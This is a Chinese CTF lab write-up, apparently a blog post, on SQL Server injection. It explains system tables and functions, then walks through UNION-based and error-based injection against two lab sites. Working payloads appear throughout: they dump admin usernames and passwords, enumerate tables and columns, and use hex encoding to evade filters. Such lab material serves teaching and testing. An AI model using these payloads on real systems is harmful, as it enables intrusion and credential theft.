CTF-Web:SqlServer SQL 注入
相关的函数和表#
SqlServer 的 SQL 注入和 MySQL 是一样的,不同在于数据库信息所在的表和一些函数不一样。
常用的函数#
函数 | 功能 |
---|---|
db name() | 返回当前数据库的名称 |
host_name() | 返回计算机名称 |
current_user | 返回当前数据库的用户名 |
substring() | 字符串截取函数 |
@@version | 查看数据库版本 |
char() | ASCII 转字符函数 |
cast(text as type) | 字符类型转换,如果转换失败会将 text 结果报错显示在页面上 |
object_id() | 根据表名返回数据库表名 ID |
object_name() | 根据 ID 返回数据库表名 |
col_name(object_id,column_id) | 返回指定表中指定字段(列)的名称 |
内置系统表#
Sysdatabases 表#
Sysdatabases 表只保存在 master 数据库中,这个表中保存的是所有的库名,主要字段有:name 数据库名。
Sysobjects 表#
SQLServer 中的每个数据库内都有此系统表,存放着数据库所有的表名。主要字段有:name、id、xtype 分别是表名、表 ID、创建的对象。当 xtype='U'代表是用户建立的表。
Syscolumns 表#
Syscolumns 表位于每个数据库中,存放着数据库所有的字段名。主要字段有:name、id 分别是字段名称、表 ID,其中的 ID 是用 sysobjects 得到的表的 ID 号。
SqlServer 注入样例#
任务目标#
靶场中的公司主页存在 SQL 注入,使用 SQL 注入知识进行一次手工注入测试。
查找注入点#
打开靶场,首先先找找注入点,经判断在搜索框可能存在 sql 注入,但是没有找到传参的地方。
使用 burp 抓包,发现在 cookie 后面夹带了参数 key,值是我们传过去想要查找的值。cookie 一般是用来保持用户的登录状态,也可以存储一些变量。
判断注入类型#
尝试注入个单引号闭合,网页回显 SqlServer 报错,并得到了查询的 sql 语句。
观察得到的 sql 语句,发现不是预编译的,而是通过字符串拼接来组合的,此处可以通过单引号闭合前面的语句,把剩下的语句注释掉,这样就能查询成功。
"select * from ST_tNews where ST_newstitle like '%"+result+"%'";
判断列数#
判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。
经二分法测试,有效的列数有 6 列。
判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。网页回显了字符串 2 ,说明第 2 列是我们可用的。
-1%' union all select '1','2','3','4',null,'6'--
获取数据库信息#
爆数据库名,用第 2 个位置作为显示位。SqlServer 的 db_name() 函数可以回显当前使用的数据库,我们将对它进行查询。
-1%' union all select null,db_name(),null,null,null,null--
接下来开始爆表名,在 sysobjects 进行查询, sysobjects 系统对象表,保存当前数据库的对象,xtype='u'表示查询的是用户创建的表名。
-1%' union all select null,name,null,null,null,null from sysobjects where xtype='u'--
st_admin 表看上去就是用户名和密码存放的表,所以接下来爆 st_admin 表的字段,在 syscolumns 中以“st_admin”的对象 id 作为过滤条件。
-1%' union all select null,name,null,null,null,null from syscolumns where id=object_id('st_admin')--
获取敏感信息#
接下来我们爆出 st_admin 表中的信息,这个表有用户名和密码这种敏感信息。
-1%' union all select null,admin+pass,null,null,null,null from st_admin--
接下来找网站的后台,使用御剑进行后台扫描,直接扫描可以扫出一个 /Admin 目录。
对 /Admin 目录进行扫描,扫出后台登录界面。
使用爆出来的用户名和密码,成功登录后台。
SqlServer 盲注样例#
任务目标#
靶场中的订餐系统存在 SQL 注入,使用 SQL 注入知识进行一次手工注入测试。
判断注入类型#
首先先找找注入点,在公告中看到文章有个 id,可能这个参数存在注入。
尝试注入个单引号闭合,网页回显 SqlServer 报错,但报错的并不是 SQL 语句。
构造一个恒假条件 “and 1=2” 使得查到的结果集为空,网页返回 SQL 语句报错信息,说明此处存在SQL 注入漏洞。
尝试使用 order by 语句,但是网页回显的报错信息不是 SQL 语句,由此可以推断该站点对一些非法字符和关键字进行了过滤。
使用 UNION 语句也是失败,说明联合查询被过滤。
使用十六进制编码也失败,看来这个过滤还是考虑的比较周到。
获取数据库名#
不过由于报错信息是可见的,所以可以使用报错过滤,这是利用了数据库的报错。将我们想要获取的信息显示在报错信息上的方法。此处构造表达式“1=(select db_name())”,由于这个表达式不合法,执行时会出错,所以这个出错的内容就会回显,就获取了数据库名。
?id=1 and 1=(select db_name()) --
获取表名#
使用相同的方法查找表名,但是由于返回值不唯一导致报了另一个错。
为了使返回值仅有一个条目,限制返回的记录是top 1,也就是查询到的第一条记录。
?id=1 and 1=(select top 1 name from sysobjects where xtype=u) --
?id=1 and 1=(select top 1 name from sysobjects where xtype=0x75) --
如果想要获取其他行,就需要添加一个过滤条件排除前面几行的返回。
?id=1 and 1=(select top 1 name from sysobjects where xtype=0x75 and name not in (select top 1 name from sysobjects where xtype=0x75)) --
可以使用 brup 抓包,然后将包发到测试器中,设置有效载荷在过滤条件里面。通过过滤条件依次排除前 n 行,就能获取第 n+1 行数据。
设置填充的数据为 1~30。
为了方便观察,设置返回的数据显示 title 标签。
进行攻击,可以看到获取了所有可以看到的表的表名。
获取字段名#
接下来查询字段名,由于此处要用 sl_admin 表名作为过滤条件,需要根据 SqlServer 的编码进行转码。
使用相同的方式在syscolumns表中获取字段名,过滤条件是表名对应的id。
?id=1 and 1=(select top 1 name from syscolumns where id=object_id(0x73006C005F00610064006D0069006E00))--
?id=1 and 1=(select top 1 name from syscolumns where id=object_id(0x73006C005F00610064006D0069006E00) and name not in (select top 1 name from syscolumns where id=object_id(0x73006C005F00610064006D0069006E00)))--
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
2021-01-14 Java : Comparable 和 Comparator 接口